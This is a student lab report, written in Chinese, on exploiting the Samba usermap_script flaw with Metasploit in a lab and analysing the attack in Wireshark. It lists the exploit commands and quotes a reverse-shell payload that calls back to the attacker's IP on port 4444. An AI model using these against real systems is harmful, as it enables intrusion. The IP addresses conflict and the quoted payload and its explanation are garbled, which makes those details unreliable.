20242942 2024-2025-2 《网络攻防实践》实验七
1.实验内容
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.实验过程
实验1 使用metasploit对Linux进行渗透攻击
获取攻击机kali ip为 192.168.200.13 和靶机 ip 192.168.200.130。
再测试一下连通性,在靶机中ping攻击机 输入ping 192.168.200.133,可见ping通,连通性没问题。
在kali中使用nmap对靶机端口进行扫描nmap -T4 192.168.200.124
,发现53端口开放:
在kali中输入msfconsole
开启metasploit
输入命令use exploit/multi/samba/usermap_script
,查看并设置攻击载荷,输入show payloads
显示有效的攻击载荷。
输入set payload cmd/unix/reverse
,载荷设置成为为reverse,输入show options
查看配置信息:
命令set RHOST 192.168.200.124
设置靶机ip并进行exploit
攻击:
输入命令whoami
,回显root
,成功入侵靶机获得系统权限。
实验2 攻防对抗实践
攻击过程:如实验一所描述,这里不再赘述,
防守过程:在进行攻击时,开启wireshark监听eth0进行抓包抓包结果如下:
可见攻击机ip为192.168.200.133,靶机ip为192.168.200.130,src_port=139,dst_port=37373建立tcp连接。
src_port=4444,dst_port=41547建立终端控制指令传送/回显连接:
通过分析tcp连接的三次握手及数据包特征,判断212、213、214包为三次握手数据包,成功建立tcp连接
TCP三次握手如下:
通过分析数据包,判断此次渗透利用的是SMB协议中的漏洞,通过利用Session Setup AndX Request
和Session Setup AndX Response
实施攻击
1.先点击抓包的详细内容
2.下拉找到SMB,可以看到详细信息。
跟踪tcp流查看SMB数据包中的shellcode:
nohup sh -c: nohup(no hang up)是一个命令行工具,用于在后台运行命令,用户退出终端会话也不会终止。
sh -c 表示使用shell来执行后面的命令字符串。
'(sleep 4194[telnet 192.168.200.133 4444]while : ; do sh && break; done 2>&1[telnet 192.168.200.133 4444 >/nul 2>&1 &)':
这是一个复杂的命令字符串,包含了多个部分:
sleep 4194:使进程暂停4194秒(大约114分钟)。
[telnet 192.168.200.133 4444]:尝试通过telnet连接到IP地址192.168.200.133的4444端口。
while : ; do sh && break; done:一个无限循环,尝试执行shell命令,成功后退出循环。
2>&1:将标准错误重定向到标准输出。
[telnet 192.168.200.133 4444 >/nul 2>&1 &]:再次尝试通过telnet连接,并将其输出重定向到nul(在Windows中,nul是空设备),同时将错误输出也重定向到nul,并在后台运行。
拉开,看到详细信息
追踪tcp流,可以看到最开始实验一的取得权限后执行的命令和回显结果:
3.学习中遇到的问题及解决
问题1:对靶机exploit
攻击时报错
解决方案:重启一下靶机
4.学习感悟、思考等
本周的实验并不难,跟实验六的原理差不多,我实现了利用metasploit对linux系统进行渗透攻击,取得权限后对靶机的资源等进行嗅探。利用wireshark抓取数据包,再分析结合攻击过程,从中获取关于攻击机和靶机的ip、端口,已经漏洞的利用方式和命令执行情况等信息,对渗透攻击过程及其原理有了更深的理解,在此过程也继续加深了对AI的使用,会带来很多便利。